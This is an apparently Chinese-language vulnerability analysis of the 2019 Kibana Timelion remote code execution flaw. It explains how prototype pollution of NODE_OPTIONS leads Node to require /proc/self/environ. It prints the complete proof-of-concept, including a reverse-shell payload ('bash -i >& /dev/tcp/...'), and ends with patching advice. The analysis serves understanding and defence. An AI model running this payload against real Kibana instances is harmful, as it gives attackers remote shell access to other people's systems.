Kibana RCE漏洞詳細分析
- 2019 年 11 月 6 日
- 筆記
背景介紹:
Elasticsearch Kibana是荷蘭Elasticsearch公司的一套開源的、基於瀏覽器的分析和搜索Elasticsearch儀錶板工具,作為Elasticsearch的核心組件,Kibana可作為產品或服務提供,並與各種系統,產品,網站和企業中的其他Elastic Stack產品配合使用。由於Kibana在大數據領域用途較為廣泛,此次漏洞影響範圍較大。
Nodejs的子進程創建
如何獲取客戶端參數的程式碼寫在了proccess.js中,我們關注下客戶端參數解析

以上程式碼是nodejs的exec方法的核心程式碼(卧槽,node自舉了)。可以看到程式碼調用了
normalizeExecArgs(command,options, callback);
而其中的options,是我們傳入的命令行的參數,這個函數又調用了
function normalizeSpawnArguments,而這個函數又調用了execFile,而execFile調用了spawn,而在spawn 里定義了這樣的程式碼
const env =options.env || process.env; 獲取客戶端的options const envPairs = []; // process.env.NODE_V8_COVERAGE alwayspropagates, making it possible to // collect coverage for programs that spawnwith white-listed environment. if (process.env.NODE_V8_COVERAGE && !ObjectPrototype.hasOwnProperty(options.env || {}, 'NODE_V8_COVERAGE')){ env.NODE_V8_COVERAGE =process.env.NODE_V8_COVERAGE; } // Prototype values are intentionallyincluded for (const key in env) { const value = env[key]; if (value !== undefined) { envPairs.push(`${key}=${value}`); } }
簡單來說,客戶端傳入了options選項,那麼就根據客戶端的來處理,否則就去獲取系統環境變數。
作者核心點
在這裡我得提一下作者的思路
作者在命令行下嘗試了
NODE_OPTIONS=』--require/proc/self/environ』 AAA=』cosole.log(123)//』 node
這是在shell里設置了一個NODE_OPTIONS的值和AAA環境變數,其中NODE_OPTIONS是可以這麼寫的,官方允許傳遞這樣的參數,具體的文檔在http://nodejs.cn/api/cli/node_options_options.html
內容是

作者做這個實驗的核心目的就是表達,我在shell下傳遞options可以包含環境變數來執行程式碼也可以通過污染原型鏈來設置環境變數,console.log這個地方就是任意的nodejs表達式,包括執行命令的,這個是為了實驗。
關於.env和process.env和/proc/self/environ
官方解釋:process 對象是一個 global (全局變數),提供有關資訊,控制當前 Node.js 進程。該對象表示Node所處的當前進程,允許開發者與該進程互動。打開命令行,輸入node,再輸入process.env,可以看見process.env是一個對象。這個對象在kibana這裡就是有很多屬性,我們污染的這個NODE_OPTIONS就是這個env的屬性之一,其實還有NODE_ENV之類的屬性。還有版本之類的。
根據子進程創建的邏輯,我們是否可以構造一個惡意的程式碼來污染原型鏈,因為程式碼里寫了如果沒定義process.env就去調用系統的環境變數,而根據javascript規則,我們隨意設置一個對象的proto的env就可以覆蓋掉process的env屬性了,這樣的話我們可以就定義好了,定義並且賦值就不會undefined了。
簡單的說就是object.env下的屬性就會被寫入到/proc/self/environ里。
所以poc的下半句是
.props(label.__proto__.env.NODE_OPTIONS='--require/proc/self/environ')
根據作者核心思路「在shell下傳遞options可以包含環境變數來執行程式碼也可以通過污染原型鏈來設置環境變數」,我們開始嘗試使用程式碼來設置環境變數而不是shell。
而/proc/self/environ就和php一樣的,如果你設置了進程的環境變數,那麼在運行的時候通過linux下/proc/self/environ可以讀取進程的環境變數
如何在程式碼里設置環境變數?
答案是通過原型鏈污染,我們先污染object.env,也就是設置label.proto.env.NODE_OPTIONS,這樣的話我們去訪問process.env.NODE_OPTIONS就是我們設置的值,根據上面nodejs核心程式碼child_process.js的邏輯,我們傳遞的options最終會變成spawn的一個參數 ,作為環境變數執行。
文件包含獲得shell
最後我們通過label.proto.env.NODE_OPTIONS=』—require/proc/self/environ』 的設置了process.env.NODE_OPTIONS的值,被node讀取到了,然後根據官方手冊里寫的,相當於運行了node —require 「xxx.xxx」 (就和php里的include 一樣,node require的不一定非要是js文件,就和php不一定要是php文件一樣)
Poc的另外一句話是:
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash-i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
這裡的AAA也是會被寫入到/proc/self/environ,最後的環境變數應該是
AAA= require("child_process").exec("bash-i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//NODE_OPTIONS=--require/proc/self/environYarn_VERSION=1.17.3HOSTNAME=7da7727ddePWD=balabalabalabala#^&*(*&^%$
因為//是注釋,所以後面忽略,然後這個文件被當作require的參數包含起來了,裡面的程式碼自然就執行了。
幾個重要的知識:
1、設置了xx.env.aaa的內容會被寫入/proc/self/environ里,怎麼設置?通過原型鏈 2、Poc設置了2個環境變數,一個被注釋了 3、NODE_OPTIONS自nodeV8.0.0後才開始(如果你沒成功,那麼可以排查下nodejs的版本
總結
聰明的你肯定知道 還有其他的辦法可以RCE!可以利用的地方很多,原型鏈撕開了一個攻擊面,而NODE_OPTIONS只是一個點。 根據對抗原型鏈攻擊的辦法可以使用Object.freeze來凍結原型鏈操作,但是這樣會導致一些隱性的bug,如果你不熟悉javascript的話。 最佳的修復還是升級版本吧
*本文原創作者:NotFound,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載